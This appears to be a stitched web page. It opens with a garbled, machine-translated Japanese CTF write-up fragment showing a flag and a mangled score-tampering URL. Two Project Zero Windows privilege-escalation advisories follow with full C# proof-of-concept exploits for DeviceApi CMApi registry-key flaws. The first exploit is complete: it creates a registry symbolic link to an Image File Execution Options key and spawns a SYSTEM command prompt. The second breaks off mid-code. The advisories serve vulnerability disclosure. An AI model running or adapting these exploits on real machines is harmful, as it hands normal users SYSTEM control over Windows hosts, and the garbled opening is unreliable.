1049983-20211215170814122-809664510.png最後に、flag:flag {c4cba16a2fd5aedf2dddd90a6bd04f}質問名:game1質問wirtup: wirtup: wirtup: wirtup: wirtup: wirtup: wirtup: wirtup:撮影ウェブサイトを入手し、ウェブサイトにアクセスして、最高のスコアを取得することができます。ここでどのゲームもプレイできます。 http://114.67.246.176336017941/?s=1629731758384 1049983-20211215170814602-1834873374.jpgそして、ゲームが終了する前に、それはブプスーツによって分析され、結果はソースの3つのパラメーターの値に関連していることがわかりました。 http://114.67.246.176336017941/scor.php?score=50ip=183.221.17.223Sign=Zmnta===

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=872

Windows: DeviceApi CMApi PiCMOpenClassKey Arbitrary Registry Key Write EoP
Platform: Windows 10 10586 not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege

Summary:
The DeviceApi CMApi PiCMOpenClassKey IOCTL allows a normal user to create arbitrary registry keys in the system hive leading to elevation of privilege.

Description:

The DeviceApi is a driver implemented inside the kernel which exposes a number of devices. One of those is CMApi which presumably is short for configuration manager API as it primarily exposes device configuration from the registry to the caller. The device exposes calls using IOCTLs, in theory anything which “creates” or “deletes” an object is limited behind an access check which only administrators have access to. However certain calls feed into the call PnpCtxRegCreateTree which will allow a user to open parts of the registry, and if they’re not there will create the keys. This is a problem as the keys are created in the user’s context using ZwCreateKey but without forcing an access check (it does this intentionally, as otherwise the user couldn’t create the key). All we need to do is find a CMApi IOCTL which will create the arbitrary keys for us.

Fortunately it’s not that simple, all the ones I find using the tree creation function verify that string being passed from the user meets some valid criteria and is always placed into a subkey which the user doesn’t have direct control over. However I noticed PiCMOpenDeviceKey allows a valid 3 part path, of the form ABC\DEF\XYZ to be specified and the only criteria for creating this key is it exists as a valid device under CurrentControlSet\Enum, however the keys will be created under CurrentControlSet\Hardware Profiles which doesn’t typically exist. The majority of calls to this IOCTL will apply a very restrictive security descriptor to the new keys, however if you specify the 0x200 device type flag it will use the default SD which will be inherited from the parent key. Even if this didn’t provide a useful ACE (in this case it has the default CREATOR OWNER giving full access) as it’s created under our user context we are the owner and so could rewrite the DACL anyway.

To convert this into a full arbitrary write we can specify a device path which doesn’t already exist and it will create the three registry keys. If we now delete the last key and replace it with a symbolic link we can point it at any arbitrary key. As the system hive is trusted this isn’t affected by the inter-hive symbolic link protections (and at anyrate services is in the same hive), however this means that the exploit won’t work from low-IL due to restrictions on creating symbolic links from sandboxes.

You should be treating anything which calls PnpCtxRegCreateTree or SysCtxRegCreateKey as suspect, especially if no explicit security descriptor is being passed. For example you can use PiCMOpenDeviceInterfaceKey to do something very similar and get an arbitrary Device Parameters key created with full control for any device interface which doesn’t already have one. You can’t use the same symbolic link trick here (you only control the leaf key) however there might be a driver which has exploitable behaviour if the user can create a arbitrary Device Parameters key. 

Proof of Concept:

I’ve provided a PoC as a C# source code file. You need to compile it first targeted .NET 4 and above. It will create a new IFEO for a executable we know can be run from the task scheduler at system. 

1) Compile the C# source code file.
2) Execute the PoC executable as a normal user.
3) The PoC should print that it successfully created the key. You should find an interactive command prompt running at system on the desktop.

Expected Result:
The key access should fail, or at least the keys shouldn’t be writable by the current user. 

Observed Result:
The key access succeeds and a system level command prompt is created.
*/

using Microsoft.Win32;
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Text;
using System.Threading;

namespace PoC
{
  class Program
  {
    [Flags]
    public enum AttributeFlags : uint
    {
      None = 0,
      Inherit = 0x00000002,
      Permanent = 0x00000010,
      Exclusive = 0x00000020,
      CaseInsensitive = 0x00000040,
      OpenIf = 0x00000080,
      OpenLink = 0x00000100,
      KernelHandle = 0x00000200,
      ForceAccessCheck = 0x00000400,
      IgnoreImpersonatedDevicemap = 0x00000800,
      DontReparse = 0x00001000,
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    public sealed class UnicodeString
    {
      ushort Length;
      ushort MaximumLength;
      [MarshalAs(UnmanagedType.LPWStr)]
      string Buffer;

      public UnicodeString(string str)
      {
        Length = (ushort)(str.Length * 2);
        MaximumLength = (ushort)((str.Length * 2) + 1);
        Buffer = str;
      }
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    public sealed class ObjectAttributes : IDisposable
    {
      int Length;
      IntPtr RootDirectory;
      IntPtr ObjectName;
      AttributeFlags Attributes;
      IntPtr SecurityDescriptor;
      IntPtr SecurityQualityOfService;

      private static IntPtr AllocStruct(object s)
      {
        int size = Marshal.SizeOf(s);
        IntPtr ret = Marshal.AllocHGlobal(size);
        Marshal.StructureToPtr(s, ret, false);
        return ret;
      }

      private static void FreeStruct(ref IntPtr p, Type struct_type)
      {
        Marshal.DestroyStructure(p, struct_type);
        Marshal.FreeHGlobal(p);
        p = IntPtr.Zero;
      }

      public ObjectAttributes(string object_name, AttributeFlags flags, IntPtr rootkey)
      {
        Length = Marshal.SizeOf(this);
        if (object_name != null)
        {
          ObjectName = AllocStruct(new UnicodeString(object_name));
        }
        Attributes = flags;
        RootDirectory = rootkey;
      }

      public ObjectAttributes(string object_name, AttributeFlags flags) 
        : this(object_name, flags, IntPtr.Zero)
      {
      }

      public void Dispose()
      {
        if (ObjectName != IntPtr.Zero)
        {
          FreeStruct(ref ObjectName, typeof(UnicodeString));
        }
        GC.SuppressFinalize(this);
      }

      ~ObjectAttributes()
      {
        Dispose();
      }
    }

    [Flags]
    public enum LoadKeyFlags
    {
      None = 0,
      AppKey = 0x10,
      Exclusive = 0x20,
      Unknown800 = 0x800,
      ReadOnly = 0x2000,
    }

    [Flags]
    public enum GenericAccessRights : uint
    {
      None = 0,
      GenericRead = 0x80000000,
      GenericWrite = 0x40000000,
      GenericExecute = 0x20000000,
      GenericAll = 0x10000000,
      Delete = 0x00010000,
      ReadControl = 0x00020000,
      WriteDac = 0x00040000,
      WriteOwner = 0x00080000,
      Synchronize = 0x00100000,
      MaximumAllowed = 0x02000000,
    }

    public class NtException : ExternalException
    {
      [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
      private static extern IntPtr GetModuleHandle(string modulename);

      [Flags]
      enum FormatFlags
      {
        AllocateBuffer = 0x00000100,
        FromHModule = 0x00000800,
        FromSystem = 0x00001000,
        IgnoreInserts = 0x00000200
      }

      [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
      private static extern int FormatMessage(
        FormatFlags dwFlags,
        IntPtr lpSource,
        int dwMessageId,
        int dwLanguageId,
        out IntPtr lpBuffer,
        int nSize,
        IntPtr Arguments
      );

      [DllImport("kernel32.dll")]
      private static extern IntPtr LocalFree(IntPtr p);

      private static string StatusToString(int status)
      {
        IntPtr buffer = IntPtr.Zero;
        try
        {
          if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
              GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
          {
            return Marshal.PtrToStringUni(buffer);
          }
        }
        finally
        {
          if (buffer != IntPtr.Zero)
          {
            LocalFree(buffer);
          }
        }
        return String.Format("Unknown Error: 0x{0:X08}", status);
      }

      public NtException(int status) : base(StatusToString(status))
      {
      }
    }

    public static void StatusToNtException(int status)
    {
      if (status < 0)
      {
        throw new NtException(status);
      }
    }


    [Flags]
    public enum FileOpenOptions
    {
      None = 0,
      DirectoryFile = 0x00000001,
      WriteThrough = 0x00000002,
      SequentialOnly = 0x00000004,
      NoIntermediateBuffering = 0x00000008,
      SynchronousIoAlert = 0x00000010,
      SynchronousIoNonAlert = 0x00000020,
      NonDirectoryFile = 0x00000040,
      CreateTreeConnection = 0x00000080,
      CompleteIfOplocked = 0x00000100,
      NoEaKnowledge = 0x00000200,
      OpenRemoteInstance = 0x00000400,
      RandomAccess = 0x00000800,
      DeleteOnClose = 0x00001000,
      OpenByFileId = 0x00002000,
      OpenForBackupIntent = 0x00004000,
      NoCompression = 0x00008000,
      OpenRequiringOplock = 0x00010000,
      ReserveOpfilter = 0x00100000,
      OpenReparsePoint = 0x00200000,
      OpenNoRecall = 0x00400000,
      OpenForFreeSpaceQuery = 0x00800000
    }

    public class IoStatusBlock
    {
      public IntPtr Pointer;
      public IntPtr Information;

      public IoStatusBlock(IntPtr pointer, IntPtr information)
      {
        Pointer = pointer;
        Information = information;
      }

      public IoStatusBlock()
      {
      }
    }

    [Flags]
    public enum ShareMode
    {
      None = 0,
      Read = 0x00000001,
      Write = 0x00000002,
      Delete = 0x00000004,
    }

    [Flags]
    public enum FileAccessRights : uint
    {
      None = 0,
      ReadData = 0x0001,
      WriteData = 0x0002,
      AppendData = 0x0004,
      ReadEa = 0x0008,
      WriteEa = 0x0010,
      Execute = 0x0020,
      DeleteChild = 0x0040,
      ReadAttributes = 0x0080,
      WriteAttributes = 0x0100,
      GenericRead = 0x80000000,
      GenericWrite = 0x40000000,
      GenericExecute = 0x20000000,
      GenericAll = 0x10000000,
      Delete = 0x00010000,
      ReadControl = 0x00020000,
      WriteDac = 0x00040000,
      WriteOwner = 0x00080000,
      Synchronize = 0x00100000,
      MaximumAllowed = 0x02000000,
    }

    [DllImport("ntdll.dll")]
    public static extern int NtOpenFile(
        out IntPtr FileHandle,
        FileAccessRights DesiredAccess,
        ObjectAttributes ObjAttr,
        [In] [Out] IoStatusBlock IoStatusBlock,
        ShareMode ShareAccess,
        FileOpenOptions OpenOptions);

    [DllImport("ntdll.dll")]
    public static extern int NtDeviceIoControlFile(
      SafeFileHandle FileHandle,
      IntPtr Event,
      IntPtr ApcRoutine,
      IntPtr ApcContext,
      [In] [Out] IoStatusBlock IoStatusBlock,
      uint IoControlCode,
      SafeHGlobalBuffer InputBuffer,
      int InputBufferLength,
      SafeHGlobalBuffer OutputBuffer,
      int OutputBufferLength
    );

    static T DeviceIoControl<T>(SafeFileHandle FileHandle, uint IoControlCode, object input_buffer)
    {
      using (SafeStructureOutBuffer<T> output = new SafeStructureOutBuffer<T>())
      {
        using (SafeStructureBuffer input = new SafeStructureBuffer(input_buffer))
        {
          IoStatusBlock status = new IoStatusBlock();
          StatusToNtException(NtDeviceIoControlFile(FileHandle, IntPtr.Zero, IntPtr.Zero,
            IntPtr.Zero, status, IoControlCode, input, input.Length,
            output, output.Length));
          
          return output.Result;
        }
      }
    }

    public static SafeFileHandle OpenFile(string name, FileAccessRights DesiredAccess, ShareMode ShareAccess, FileOpenOptions OpenOptions, bool inherit)
    {
      AttributeFlags flags = AttributeFlags.CaseInsensitive;
      if (inherit)
        flags |= AttributeFlags.Inherit;
      using (ObjectAttributes obja = new ObjectAttributes(name, flags))
      {
        IntPtr handle;
        IoStatusBlock iostatus = new IoStatusBlock();
        StatusToNtException(NtOpenFile(out handle, DesiredAccess, obja, iostatus, ShareAccess, OpenOptions));
        return new SafeFileHandle(handle, true);
      }
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    class CmApiOpenKeyData
    {
      public int cbSize; // 0
      public int device_type; // 4
      public int callback_id; // 8
      [MarshalAs(UnmanagedType.LPWStr)]
      public string name;  // c
      public int name_size; // 10
      public GenericAccessRights desired_access; // 14	
      public int create; // 18
      public int hardware_id; // 1c
      public int return_data_size; // 20

      public CmApiOpenKeyData(int device_type, int callback_id, string name, GenericAccessRights desired_access, bool create, int hardware_id, int return_data_size)
      {
        this.cbSize = Marshal.SizeOf(this);
        this.device_type = device_type;
        this.callback_id = callback_id;
        this.name = name;
        this.name_size = (name.Length + 1) * 2;
        this.desired_access = desired_access;
        this.create = create ? 1 : 0;
        this.hardware_id = hardware_id;
        this.return_data_size = return_data_size;
      }
    }

    [StructLayout(LayoutKind.Sequential)]
    class CmApiOpenKeyResult
    {
      int size;
      public int status;
      public long handle;
    };

    public class SafeHGlobalBuffer : SafeHandleZeroOrMinusOneIsInvalid
    {
      public SafeHGlobalBuffer(int length)
        : this(Marshal.AllocHGlobal(length), length, true)
      {
      }

      public SafeHGlobalBuffer(IntPtr buffer, int length, bool owns_handle)
        : base(owns_handle)
      {
        Length = length;
        SetHandle(buffer);
      }

      public int Length
      {
        get; private set;
      }

      protected override bool ReleaseHandle()
      {
        if (!IsInvalid)
        {
          Marshal.FreeHGlobal(handle);
          handle = IntPtr.Zero;
        }
        return true;
      }
    }

    public class SafeStructureBuffer : SafeHGlobalBuffer
    {
      Type _type;

      public SafeStructureBuffer(object value) : base(Marshal.SizeOf(value))
      {
        _type = value.GetType();
        Marshal.StructureToPtr(value, handle, false);
      }

      protected override bool ReleaseHandle()
      {
        if (!IsInvalid)
        {
          Marshal.DestroyStructure(handle, _type);
        }
        return base.ReleaseHandle();
      }
    }

    public class SafeStructureOutBuffer<T> : SafeHGlobalBuffer
    {
      public SafeStructureOutBuffer() : base(Marshal.SizeOf(typeof(T)))
      {
      }

      public T Result
      {
        get
        {
          if (IsInvalid)
            throw new ObjectDisposedException("handle");

          return Marshal.PtrToStructure<T>(handle);
        }
      }
    }

    static void EnumKeys(RegistryKey rootkey, IEnumerable<string> name_parts, List<string> names, int maxdepth, int current_depth)
    {      
      if (current_depth == maxdepth)
      {
        names.Add(String.Join(@"\", name_parts));
      }
      else
      {
        foreach (string subkey in rootkey.GetSubKeyNames())
        {
          using (RegistryKey key = rootkey.OpenSubKey(subkey))
          {            
            if (key != null)
            {              
              EnumKeys(key, name_parts.Concat(new string[] { subkey }), names, maxdepth, current_depth + 1);              
            }
          }
        }
      }
    }

    static IEnumerable<string> GetValidDeviceNames()
    {
      List<string> names = new List<string>();
      using (RegistryKey rootkey = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Enum"))
      {
        EnumKeys(rootkey, new string[0], names, 3, 0);
      }
      return names;
    }
    
    static RegistryKey OpenProfileKey(string name)
    {
      RegistryKey ret = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Hardware Profiles\0001\SYSTEM\CurrentControlSet\Enum");
      if (name != null)
      {
        try
        {
          return ret.OpenSubKey(name);
        }
        finally
        {
          ret.Close();
        }
      }
      else
      {
        return ret;
      }
    }

    static string FindFirstAccessibleDevice()
    {
      foreach (string device in GetValidDeviceNames())
      {
        try
        {            
          using (RegistryKey key = OpenProfileKey(device))
          {
            if (key == null)
            {
              return device;
            }          
          }
        }
        catch { }
      }

      return null;
    }

    [Flags]
    enum KeyCreateOptions
    {
      None = 0,
      NonVolatile = None,      
      Volatile = 1,      
      CreateLink = 2,
      BackupRestore = 4,
    }

    [DllImport("ntdll.dll", CharSet = CharSet.Unicode)]
    static extern int NtCreateKey(
      out IntPtr KeyHandle,
      GenericAccessRights DesiredAccess,
      [In] ObjectAttributes ObjectAttributes,
      int TitleIndex,
      [In] UnicodeString Class,
      KeyCreateOptions CreateOptions,
      out int Disposition);

    static SafeRegistryHandle CreateKey(SafeRegistryHandle rootkey, string path, AttributeFlags flags, KeyCreateOptions options)
    {
      using (ObjectAttributes obja = new ObjectAttributes(path, flags | AttributeFlags.CaseInsensitive, rootkey != null ? rootkey.DangerousGetHandle() : IntPtr.Zero))
      {
        IntPtr handle;
        int disposition = 0;
        StatusToNtException(NtCreateKey(out handle, GenericAccessRights.MaximumAllowed, obja, 0, null, options, out disposition));
        return new SafeRegistryHandle(handle, true);
      } 
    }

    enum RegistryKeyType
    {
      Link = 6,
    }

    [DllImport("ntdll.dll", CharSet = CharSet.Unicode)]
    static extern int NtSetValueKey(
      SafeRegistryHandle KeyHandle,
      UnicodeString ValueName,
      int TitleIndex,
      RegistryKeyType Type,
      byte[] Data,
      int DataSize);

    [DllImport("ntdll.dll")]
    static extern int NtDeleteKey(SafeRegistryHandle KeyHandle);

    static void DeleteSymbolicLink(SafeRegistryHandle rootkey, string path)
    {      
      using (SafeRegistryHandle key = CreateKey(rootkey, path, AttributeFlags.OpenLink | AttributeFlags.OpenIf, KeyCreateOptions.None))
      {
        StatusToNtException(NtDeleteKey(key));
      }     
    }

    static SafeRegistryHandle CreateSymbolicLink(SafeRegistryHandle rootkey, string path, string target)
    {      
      SafeRegistryHandle key = CreateKey(rootkey, path, AttributeFlags.OpenIf | AttributeFlags.OpenLink, KeyCreateOptions.CreateLink);
      try
      {
        UnicodeString value_name = new UnicodeString("SymbolicLinkValue");
        byte[] data = Encoding.Unicode.GetBytes(target);
        StatusToNtException(NtSetValueKey(key, value_name, 0, RegistryKeyType.Link, data, data.Length));
        SafeRegistryHandle ret = key;
        key = null;
        return ret;
      }
      finally
      {
        if (key != null)
        {
          NtDeleteKey(key);
        }
      }
    }

    static RegistryKey CreateDeviceKey(string device_name)
    {
      using (SafeFileHandle handle = OpenFile(@"\Device\DeviceApi\CMApi", FileAccessRights.Synchronize | FileAccessRights.GenericRead | FileAccessRights.GenericWrite,
        ShareMode.None, FileOpenOptions.NonDirectoryFile | FileOpenOptions.SynchronousIoNonAlert, false))
      {
        CmApiOpenKeyData data = new CmApiOpenKeyData(0x211, 1, device_name, GenericAccessRights.MaximumAllowed, true, 0, Marshal.SizeOf(typeof(CmApiOpenKeyResult)));
        CmApiOpenKeyResult result = DeviceIoControl<CmApiOpenKeyResult>(handle, 0x47085B, data);
        StatusToNtException(result.status);
        return RegistryKey.FromHandle(new SafeRegistryHandle(new IntPtr(result.handle), true));
      }
    }


    public enum TokenInformationClass
    {
      TokenSessionId = 12
    }

    [DllImport("ntdll.dll")]
    public static extern int NtClose(IntPtr handle);

    [DllImport("ntdll.dll", CharSet = CharSet.Unicode)]
    public static extern int NtOpenProcessTokenEx(
          IntPtr ProcessHandle,
          GenericAccessRights DesiredAccess,
          AttributeFlags HandleAttributes,
          out IntPtr TokenHandle);

    public sealed class SafeKernelObjectHandle
  : SafeHandleZeroOrMinusOneIsInvalid
    {
      public SafeKernelObjectHandle()
        : base(true)
      {
      }

      public SafeKernelObjectHandle(IntPtr handle, bool owns_handle)
        : base(owns_handle)
      {
        SetHandle(handle);
      }

      protected override bool ReleaseHandle()
      {
        if (!IsInvalid)
        {
          NtClose(this.handle);
          this.handle = IntPtr.Zero;
          return true;
        }
        return false;
      }
    }

    public enum TokenType
    {
      Primary = 1,
      Impersonation = 2
    }

    [DllImport("ntdll.dll", CharSet = CharSet.Unicode)]
    public static extern int NtDuplicateToken(
    IntPtr ExistingTokenHandle,
    GenericAccessRights DesiredAccess,
    ObjectAttributes ObjectAttributes,
    bool EffectiveOnly,
    TokenType TokenType,
    out IntPtr NewTokenHandle
    );

    public static SafeKernelObjectHandle DuplicateToken(SafeKernelObjectHandle existing_token)
    {
      IntPtr new_token;

      using (ObjectAttributes obja = new ObjectAttributes(null, AttributeFlags.None))
      {
        StatusToNtException(NtDuplicateToken(existing_token.DangerousGetHandle(),
          GenericAccessRights.MaximumAllowed, obja, false, TokenType.Primary, out new_token));
        return new SafeKernelObjectHandle(new_token, true);
      }
    }

    public static SafeKernelObjectHandle OpenProcessToken()
    {
      IntPtr new_token;
      StatusToNtException(NtOpenProcessTokenEx(new IntPtr(-1),
        GenericAccessRights.MaximumAllowed, AttributeFlags.None, out new_token));
      using (SafeKernelObjectHandle ret = new SafeKernelObjectHandle(new_token, true))
      {
        return DuplicateToken(ret);
      }
    }

    [DllImport("ntdll.dll")]
    public static extern int NtSetInformationToken(
      SafeKernelObjectHandle TokenHandle,
      TokenInformationClass TokenInformationClass,
      byte[] TokenInformation,
      int TokenInformationLength);

    public static void SetTokenSessionId(SafeKernelObjectHandle token, int session_id)
    {
      byte[] buffer = BitConverter.GetBytes(session_id);
      NtSetInformationToken(token, TokenInformationClass.TokenSessionId,
        buffer, buffer.Length);
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    struct STARTUPINFO
    {
      public Int32 cb;
      public string lpReserved;
      public string lpDesktop;
      public string lpTitle;
      public Int32 dwX;
      public Int32 dwY;
      public Int32 dwXSize;
      public Int32 dwYSize;
      public Int32 dwXCountChars;
      public Int32 dwYCountChars;
      public Int32 dwFillAttribute;
      public Int32 dwFlags;
      public Int16 wShowWindow;
      public Int16 cbReserved2;
      public IntPtr lpReserved2;
      public IntPtr hStdInput;
      public IntPtr hStdOutput;
      public IntPtr hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    internal struct PROCESS_INFORMATION
    {
      public IntPtr hProcess;
      public IntPtr hThread;
      public int dwProcessId;
      public int dwThreadId;
    }

    enum CreateProcessFlags
    {
      CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
      CREATE_DEFAULT_ERROR_MODE = 0x04000000,
      CREATE_NEW_CONSOLE = 0x00000010,
      CREATE_NEW_PROCESS_GROUP = 0x00000200,
      CREATE_NO_WINDOW = 0x08000000,
      CREATE_PROTECTED_PROCESS = 0x00040000,
      CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
      CREATE_SEPARATE_WOW_VDM = 0x00000800,
      CREATE_SHARED_WOW_VDM = 0x00001000,
      CREATE_SUSPENDED = 0x00000004,
      CREATE_UNICODE_ENVIRONMENT = 0x00000400,
      DEBUG_ONLY_THIS_PROCESS = 0x00000002,
      DEBUG_PROCESS = 0x00000001,
      DETACHED_PROCESS = 0x00000008,
      EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
      INHERIT_PARENT_AFFINITY = 0x00010000
    }

    [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
    static extern bool CreateProcessAsUser(
      IntPtr hToken,
      string lpApplicationName,
      string lpCommandLine,
      IntPtr lpProcessAttributes,
      IntPtr lpThreadAttributes,
      bool bInheritHandles,
      CreateProcessFlags dwCreationFlags,
      IntPtr lpEnvironment,
      string lpCurrentDirectory,
      ref STARTUPINFO lpStartupInfo,
      out PROCESS_INFORMATION lpProcessInformation);

    static void SpawnInteractiveCmd(int sessionid)
    {      
      SafeKernelObjectHandle token = OpenProcessToken();
      SetTokenSessionId(token, sessionid);

      STARTUPINFO startInfo = new STARTUPINFO();
      startInfo.cb = Marshal.SizeOf(startInfo);
      PROCESS_INFORMATION procInfo;

      CreateProcessAsUser(token.DangerousGetHandle(), null, "cmd.exe",
        IntPtr.Zero, IntPtr.Zero, false, CreateProcessFlags.CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref startInfo, out procInfo);
    }
    
    static bool DoExploit()
    {
      SafeRegistryHandle symbolic_link = null;
      
      try
      {
        string device_name = FindFirstAccessibleDevice();
        if (device_name != null)
        {
          Console.WriteLine("[SUCCESS]: Found Device: {0}", device_name);
        }
        else
        {
          throw new ArgumentException("Couldn't find a valid device");
        }

        using (RegistryKey key = CreateDeviceKey(device_name))
        {
          StatusToNtException(NtDeleteKey(key.Handle));
        }

        Console.WriteLine("[SUCCESS]: Deleted leaf key");

        using (RegistryKey profile_key = OpenProfileKey(null))
        {          
          symbolic_link = CreateSymbolicLink(profile_key.Handle, device_name, 
            @"\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsqmcons.exe");
        }

        Console.WriteLine("[SUCCESS]: Created symbolic link");
        using (RegistryKey key = CreateDeviceKey(device_name))
        {
          key.SetValue("Debugger", String.Format("\"{0}\" {1}", Assembly.GetCallingAssembly().Location, GetSessionId()));
          Console.WriteLine("[SUCCESS]: Created IFEO key");
          EventWaitHandle ev = new EventWaitHandle(false, EventResetMode.AutoReset, @"Global\{376693BE-1931-4AF9-8D56-C629F9094745}");
          Process p = Process.Start("schtasks", @"/Run /TN ""\Microsoft\Windows\Customer Experience Improvement Program\Consolidator""");
          ev.WaitOne();

          NtDeleteKey(key.Handle);
        } 
      }
      catch (Exception ex)
      {
        Console.WriteLine("[ERROR]: {0}", ex.Message);
      }
      finally
      {
        if (symbolic_link != null)
        {
          NtDeleteKey(symbolic_link);
        }
      }
      return false;
    }    
    
    static int GetSessionId()
    {
      using (Process p = Process.GetCurrentProcess())
      {
        return p.SessionId;
      }
    }    
    
    static void Main(string[] args)
    {    
      if (GetSessionId() > 0)
      {
        DoExploit();
      }
      else
      {
        Console.WriteLine("[SUCCESS]: Running as service");
        EventWaitHandle ev = EventWaitHandle.OpenExisting(@"Global\{376693BE-1931-4AF9-8D56-C629F9094745}", EventWaitHandleRights.Modify);
        ev.Set();
        if (args.Length > 1)
        {
          int session_id;
          if (!int.TryParse(args[0], out session_id))
          {
            session_id = 0;
          }
          SpawnInteractiveCmd(session_id);
        }
      }
    }
  }
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=875

Windows: DeviceApi CMApi User Hive Impersonation EoP
Platform: Windows 10 10586 not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege

Summary:
The DeviceApi CMApi PnpCtxRegOpenCurrentUserKey function doesn’t check the impersonation level of the current effective token allowing a normal user to create arbitrary registry keys in another user’s loaded hive leading to elevation of privilege.

Description:

For some of the CMApi IOCTLs you can specify a flag, 0x100 which indicates you want the keys to opened in the user’s hive rather than the system hive. It finds the root key by calling PnpCtxRegOpenCurrentUserKey which calls ZwQueryInformationToken for the TOKEN_USER structure, converts the SID to a string, appends it to \Registry\User and opens the key in kernel mode. No part of this process verifies that the effective token isn’t an impersonation token at identification level, this means that capturing another user’s token, or using something like S4U we can impersonate another logged on user and write registry keys into their hive. Combined with the fact that registry keys are created with kernel privileges (even when dealing with user hives, when it clearly shouldn’t) when the keys are actually created the access check is bypassed.

The obvious way of exploiting this is to use the PiCMOpenDeviceKey IOCTL I’ve already reported in issue 34167. We can do a similar trick but instead symlink to keys inside the user’s hive to get elevation. One issue is that when the keys are created in kernel mode they’ll typically not be accessible by the user due to the default inherited permissions on a user’s hive. However there’s a winnable race between when the user hive is accessed and when the keys are created, by clearing the thread token from another thread at the right moment the user hive will be the target user but the keys are created as the current user. While this doesn’t directly give us access to the keys through the DACL it does mark us as the owner of the key and so we can open it for WRITE_DAC access and change the DACL to give us access, then do a similar symlink trick to 34167 to elevate privileges.

Proof of Concept:

I’ve provided a PoC as a C# source code file. You need to compile it first targeted .NET 4 and above. It requires some setup first, to create the other user. Also this only demonstrates the arbitrary creation, it doesn’t attempt to win the race condition. 

1) Compile the C# source code file.
2) Create a second user on the local system as an admin, start a program running as that user so that their hive is loaded (using either runas or fast user switching).
3) Execute the PoC executable as a normal user, passing as an argument the name of the other user
3) The PoC should print that it failed to get the key (this is related to the key being opened under identification level impersonation) however using a registry viewer observe that under HKU\User-SID\SYSTEM\CurrentControlSet\Enum the device key’s been created.

Expected Result:
The key access should fail

Observed Result:
The key creation succeeds inside the other user’s hive.
*/

using Microsoft.Win32;
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Principal;

namespace PoC
{
  /// <remarks>
  /// This sample uses S4U security, which requires Windows Server 2003 and a W2003 domain controller
  /// Copied from pinvoke.net with minor changes to get it to actually work.
  /// </remarks>
  public sealed class CCWinLogonUtilities
  {
    private CCWinLogonUtilities()
    {
    }

    #region "Win32 stuff"
    private class Win32
    {
      internal class OSCalls
      {
        public enum WinStatusCodes : uint
        {
          STATUS_SUCCESS = 0
        }

        public enum WinErrors : uint
        {
          NO_ERROR = 0,
        }
        public enum WinLogonType
        {
          LOGON32_LOGON_INTERACTIVE = 2,
          LOGON32_LOGON_NETWORK = 3,
          LOGON32_LOGON_BATCH = 4,
          LOGON32_LOGON_SERVICE = 5,
          LOGON32_LOGON_UNLOCK = 7,
          LOGON32_LOGON_NETWORK_CLEARTEXT = 8,
          LOGON32_LOGON_NEW_CREDENTIALS = 9
        }

        // SECURITY_LOGON_TYPE
        public enum SecurityLogonType
        {
          Interactive = 2,    // Interactively logged on (locally or remotely)
          Network,        // Accessing system via network
          Batch,          // Started via a batch queue
          Service,        // Service started by service controller
          Proxy,          // Proxy logon
          Unlock,         // Unlock workstation
          NetworkCleartext,   // Network logon with cleartext credentials
          NewCredentials,     // Clone caller, new default credentials
          RemoteInteractive,  // Remote, yet interactive. Terminal server
          CachedInteractive,  // Try cached credentials without hitting the net.
          CachedRemoteInteractive, // Same as RemoteInteractive, this is used internally for auditing purpose
          CachedUnlock    // Cached Unlock workstation
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct LSA_UNICODE_STRING
        {
          public UInt16 Length;
          public UInt16 MaximumLength;
          public IntPtr Buffer;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct TOKEN_SOURCE
        {
          public TOKEN_SOURCE(string name)
          {
            SourceName = new byte[8];
            System.Text.Encoding.GetEncoding(1252).GetBytes(name, 0, name.Length, SourceName, 0);
            if (!AllocateLocallyUniqueId(out SourceIdentifier))
              throw new System.ComponentModel.Win32Exception();
          }

          [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
          public byte[] SourceName;
          public UInt64 SourceIdentifier;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct QUOTA_LIMITS
        {
          UInt32 PagedPoolLimit;
          UInt32 NonPagedPoolLimit;
          UInt32 MinimumWorkingSetSize;
          UInt32 MaximumWorkingSetSize;
          UInt32 PagefileLimit;
          Int64 TimeLimit;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct LSA_STRING
        {
          public UInt16 Length;
          public UInt16 MaximumLength;
          public /*PCHAR*/ IntPtr Buffer;
        }

        public class LsaStringWrapper : IDisposable
        {
          public LSA_STRING _string;

          public LsaStringWrapper(string value)
          {
            _string = new LSA_STRING();
            _string.Length = (ushort)value.Length;
            _string.MaximumLength = (ushort)value.Length;
            _string.Buffer = Marshal.StringToHGlobalAnsi(value);
          }

          ~LsaStringWrapper()
          {
            Dispose(false);
          }

          private void Dispose(bool disposing)
          {
            if (_string.Buffer != IntPtr.Zero)
            {
              Marshal.FreeHGlobal(_string.Buffer);
